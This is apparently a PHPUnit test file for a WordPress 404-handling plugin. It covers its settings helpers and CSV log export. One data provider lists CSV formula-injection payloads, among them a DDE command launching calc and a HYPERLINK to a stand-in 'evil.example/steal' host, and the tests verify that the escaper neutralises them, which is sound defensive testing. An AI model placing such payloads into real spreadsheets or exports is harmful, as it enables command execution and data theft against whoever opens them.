PluginProbe
Custom 404 Pro / trunk
Custom 404 Pro vtrunk
3.15.2 3.15.4 3.15.5 3.15.6 3.16.0 3.15.1 3.15.0 3.14.1 3.14.0 3.13.0 trunk 1.0.1 1.0.2 1.0.3 1.0.4 1.0.5 1.0.6 1.0.7 1.0.8 1.1.5 1.1.6 1.2.0 1.3.10 1.3.12 1.3.5 All 100 releases
custom-404-pro / tests / HelpersTest.php

HelpersTest.php in Custom 404 Pro trunk, at tests/HelpersTest.php

352 lines 11.8 KB
No matching file
Up and down to move Enter to open Esc to close
Raw Download Zip
1 <?php
2 /**
3 * Unit tests for the Helpers class.
4 *
5 * @package Custom_404_Pro
6 */
7
8 use PHPUnit\Framework\TestCase;
9
10 /**
11 * Helpers test case.
12 */
13 class HelpersTest extends TestCase {
14
15 /**
16 * Resets the test options store before each test.
17 */
18 protected function setUp(): void {
19 parent::setUp();
20 $GLOBALS['_test_options'] = array();
21 }
22
23 // ------------------------------------------------------------------
24 // Property declarations (PHP 8.2+ dynamic property deprecation guard)
25 // ------------------------------------------------------------------
26
27 /**
28 * Asserts that table_logs is an explicitly declared property.
29 */
30 public function test_table_logs_is_declared_property() {
31 $ref = new ReflectionClass( Helpers::class );
32 $this->assertTrue(
33 $ref->hasProperty( 'table_logs' ),
34 'table_logs must be explicitly declared to avoid PHP 8.2+ deprecation'
35 );
36 }
37
38 /**
39 * Asserts that table_logs has the expected value after construction.
40 */
41 public function test_table_logs_has_correct_value_after_construction() {
42 $helpers = new Helpers();
43 $this->assertSame( 'custom_404_pro_logs', $helpers->table_logs );
44 }
45
46 // ------------------------------------------------------------------
47 // defaults()
48 // ------------------------------------------------------------------
49
50 /**
51 * Asserts that defaults() returns an array.
52 */
53 public function test_defaults_returns_array() {
54 $helpers = new Helpers();
55 $this->assertIsArray( $helpers->defaults() );
56 }
57
58 /**
59 * Asserts that defaults() contains all required setting keys.
60 */
61 public function test_defaults_contains_all_required_keys() {
62 $helpers = new Helpers();
63 $required = array( 'mode', 'mode_page', 'mode_url', 'send_email', 'logging_enabled', 'redirect_error_code', 'log_ip', 'email_cooldown', 'log_retention_count', 'log_retention_days' );
64 foreach ( $required as $key ) {
65 $this->assertArrayHasKey( $key, $helpers->defaults(), "defaults() should contain key '{$key}'." );
66 }
67 }
68
69 /**
70 * Asserts that log_retention_count defaults to 0 (disabled).
71 */
72 public function test_defaults_log_retention_count_is_zero() {
73 $helpers = new Helpers();
74 $this->assertSame( 0, $helpers->defaults()['log_retention_count'] );
75 }
76
77 /**
78 * Asserts that log_retention_days defaults to 0 (disabled).
79 */
80 public function test_defaults_log_retention_days_is_zero() {
81 $helpers = new Helpers();
82 $this->assertSame( 0, $helpers->defaults()['log_retention_days'] );
83 }
84
85 /**
86 * Asserts that redirect_error_code defaults to 302.
87 */
88 public function test_defaults_redirect_error_code_is_302() {
89 $helpers = new Helpers();
90 $this->assertSame( 302, $helpers->defaults()['redirect_error_code'] );
91 }
92
93 /**
94 * Asserts that log_ip defaults to true.
95 */
96 public function test_defaults_log_ip_is_true() {
97 $helpers = new Helpers();
98 $this->assertTrue( $helpers->defaults()['log_ip'] );
99 }
100
101 // ------------------------------------------------------------------
102 // get_settings()
103 // ------------------------------------------------------------------
104
105 /**
106 * Asserts that get_settings() returns the defaults when no option is stored.
107 */
108 public function test_get_settings_returns_defaults_when_no_option_stored() {
109 $helpers = new Helpers();
110 $this->assertSame( $helpers->defaults(), $helpers->get_settings() );
111 }
112
113 /**
114 * Asserts that get_settings() returns stored values merged over defaults.
115 */
116 public function test_get_settings_returns_stored_values() {
117 update_option( Helpers::OPTION_KEY, array( 'mode' => 'url', 'mode_url' => 'https://example.com' ) );
118 $helpers = new Helpers();
119 $settings = $helpers->get_settings();
120 $this->assertSame( 'url', $settings['mode'] );
121 $this->assertSame( 'https://example.com', $settings['mode_url'] );
122 }
123
124 /**
125 * Asserts that get_settings() fills in missing keys from defaults.
126 */
127 public function test_get_settings_fills_missing_keys_from_defaults() {
128 update_option( Helpers::OPTION_KEY, array( 'mode' => 'url' ) );
129 $helpers = new Helpers();
130 $settings = $helpers->get_settings();
131 $this->assertSame( 302, $settings['redirect_error_code'] );
132 $this->assertTrue( $settings['log_ip'] );
133 }
134
135 // ------------------------------------------------------------------
136 // get_setting()
137 // ------------------------------------------------------------------
138
139 /**
140 * Asserts that get_setting() returns the value for a stored key.
141 */
142 public function test_get_setting_returns_stored_value() {
143 update_option( Helpers::OPTION_KEY, array( 'mode' => 'page' ) );
144 $helpers = new Helpers();
145 $this->assertSame( 'page', $helpers->get_setting( 'mode' ) );
146 }
147
148 /**
149 * Asserts that get_setting() returns the default when the key is not in the stored option.
150 */
151 public function test_get_setting_returns_default_for_missing_key() {
152 update_option( Helpers::OPTION_KEY, array() );
153 $helpers = new Helpers();
154 $this->assertSame( 302, $helpers->get_setting( 'redirect_error_code' ) );
155 }
156
157 /**
158 * Asserts that get_setting() returns null for an unknown key.
159 */
160 public function test_get_setting_returns_null_for_unknown_key() {
161 $helpers = new Helpers();
162 $this->assertNull( $helpers->get_setting( 'nonexistent_key' ) );
163 }
164
165 // ------------------------------------------------------------------
166 // update_settings()
167 // ------------------------------------------------------------------
168
169 /**
170 * Asserts that update_settings() persists the supplied values.
171 */
172 public function test_update_settings_persists_values() {
173 $helpers = new Helpers();
174 $helpers->update_settings( array( 'mode' => 'url', 'mode_url' => 'https://example.com' ) );
175 $this->assertSame( 'url', $helpers->get_setting( 'mode' ) );
176 $this->assertSame( 'https://example.com', $helpers->get_setting( 'mode_url' ) );
177 }
178
179 /**
180 * Asserts that update_settings() merges with existing values rather than replacing them.
181 */
182 public function test_update_settings_merges_with_existing_values() {
183 $helpers = new Helpers();
184 $helpers->update_settings( array( 'mode' => 'url' ) );
185 $helpers->update_settings( array( 'mode_url' => 'https://example.com' ) );
186 // Both keys should be present.
187 $this->assertSame( 'url', $helpers->get_setting( 'mode' ) );
188 $this->assertSame( 'https://example.com', $helpers->get_setting( 'mode_url' ) );
189 }
190
191 /**
192 * Asserts that update_settings() does not overwrite keys not included in the update.
193 */
194 public function test_update_settings_preserves_untouched_keys() {
195 $helpers = new Helpers();
196 $helpers->update_settings( array( 'redirect_error_code' => 301 ) );
197 $helpers->update_settings( array( 'mode' => 'url' ) );
198 // redirect_error_code should still be 301.
199 $this->assertSame( 301, $helpers->get_setting( 'redirect_error_code' ) );
200 }
201
202 /**
203 * Asserts that update_settings() returns true on success.
204 */
205 public function test_update_settings_returns_true() {
206 $helpers = new Helpers();
207 $this->assertTrue( $helpers->update_settings( array( 'mode' => '' ) ) );
208 }
209
210 // ------------------------------------------------------------------
211 // CSV export escaping (formula injection)
212 // ------------------------------------------------------------------
213
214 /**
215 * A plain value should pass through the CSV escaper untouched.
216 */
217 public function test_escape_csv_value_leaves_plain_values_unchanged() {
218 $helpers = new Helpers();
219 $this->assertSame( '/some/missing/page', $helpers->escape_csv_value( '/some/missing/page' ) );
220 $this->assertSame( 'Mozilla/5.0 (X11; Linux x86_64)', $helpers->escape_csv_value( 'Mozilla/5.0 (X11; Linux x86_64)' ) );
221 }
222
223 /**
224 * An empty value should stay empty rather than gain a prefix.
225 */
226 public function test_escape_csv_value_leaves_empty_string_unchanged() {
227 $helpers = new Helpers();
228 $this->assertSame( '', $helpers->escape_csv_value( '' ) );
229 }
230
231 /**
232 * Values a spreadsheet would evaluate as a formula must be prefixed so they
233 * are rendered as literal text instead. The referer and user agent columns
234 * are attacker-controlled, so these reach the export from the outside world.
235 *
236 * @dataProvider csv_formula_provider
237 * @param string $dangerous Value that a spreadsheet would evaluate.
238 */
239 public function test_escape_csv_value_neutralizes_formula_payloads( string $dangerous ) {
240 $helpers = new Helpers();
241 $escaped = $helpers->escape_csv_value( $dangerous );
242
243 $this->assertSame( "'" . $dangerous, $escaped, 'Formula payloads must be prefixed with an apostrophe.' );
244 $this->assertNotSame( $dangerous, $escaped );
245 $this->assertStringStartsWith( "'", $escaped );
246 }
247
248 /**
249 * Supplies representative CSV injection payloads.
250 *
251 * @return array<string, array<string>>
252 */
253 public function csv_formula_provider(): array {
254 return array(
255 'equals command' => array( "=cmd|' /C calc'!A0" ),
256 'equals hyperlink' => array( '=HYPERLINK("https://evil.example/steal","click")' ),
257 'plus prefix' => array( '+1+1' ),
258 'minus prefix' => array( '-1+1' ),
259 'at prefix' => array( '@SUM(1+1)' ),
260 'tab prefix' => array( "\t=1+1" ),
261 'carriage return' => array( "\r=1+1" ),
262 );
263 }
264
265 /**
266 * Non-string scalars should be cast rather than trigger a type error.
267 */
268 public function test_escape_csv_value_casts_non_string_input() {
269 $helpers = new Helpers();
270 $this->assertSame( '42', $helpers->escape_csv_value( 42 ) );
271 $this->assertSame( '', $helpers->escape_csv_value( null ) );
272 }
273
274 // ------------------------------------------------------------------
275 // CSV row writing
276 // ------------------------------------------------------------------
277
278 /**
279 * Writing a CSV row must not raise a deprecation on PHP 8.4+.
280 *
281 * PHP 8.4 deprecates calling fputcsv() without an explicit $escape. On a
282 * site with WP_DEBUG display enabled the notice would be written straight
283 * into the download stream and corrupt the exported file, so this promotes
284 * any deprecation to a failure.
285 */
286 public function test_write_csv_row_raises_no_deprecation() {
287 $raised = array();
288 $previous = set_error_handler(
289 function ( $errno, $errstr ) use ( &$raised ) {
290 $raised[] = $errstr;
291 return true;
292 },
293 E_ALL
294 );
295
296 $helpers = new Helpers();
297 $handle = fopen( 'php://memory', 'w+' );
298 $helpers->write_csv_row( $handle, array( 'a', 'b' ) );
299 fclose( $handle );
300
301 set_error_handler( $previous );
302
303 $this->assertSame( array(), $raised, 'Writing a CSV row must not raise any notice or deprecation.' );
304 }
305
306 /**
307 * Quotes are escaped by doubling, per RFC 4180, not with a backslash.
308 */
309 public function test_write_csv_row_uses_rfc4180_quoting() {
310 $helpers = new Helpers();
311 $handle = fopen( 'php://memory', 'w+' );
312 $helpers->write_csv_row( $handle, array( 'say "hi"', 'a,b', "line\nbreak" ) );
313 rewind( $handle );
314 $written = stream_get_contents( $handle );
315 fclose( $handle );
316
317 $this->assertStringContainsString( '"say ""hi"""', $written, 'Quotes must be doubled, not backslash-escaped.' );
318 $this->assertStringContainsString( '"a,b"', $written, 'Values containing a comma must be quoted.' );
319 }
320
321 /**
322 * A backslash in a log value must survive the export unchanged.
323 *
324 * User agents contain backslashes. The historical fputcsv() default would
325 * consume them as escape characters.
326 */
327 public function test_write_csv_row_preserves_backslashes() {
328 $helpers = new Helpers();
329 $handle = fopen( 'php://memory', 'w+' );
330 $helpers->write_csv_row( $handle, array( 'C:\\Windows\\System32' ) );
331 rewind( $handle );
332 $written = stream_get_contents( $handle );
333 fclose( $handle );
334
335 $this->assertStringContainsString( 'C:\\Windows\\System32', $written );
336 }
337
338 /**
339 * A formula payload must still be neutralised once written through the writer.
340 */
341 public function test_escaped_formula_survives_csv_writing_as_text() {
342 $helpers = new Helpers();
343 $handle = fopen( 'php://memory', 'w+' );
344 $helpers->write_csv_row( $handle, array( $helpers->escape_csv_value( '=1+1' ) ) );
345 rewind( $handle );
346 $written = stream_get_contents( $handle );
347 fclose( $handle );
348
349 $this->assertStringStartsWith( "'=1+1", $written, 'The written cell must keep the neutralising prefix.' );
350 }
351 }
352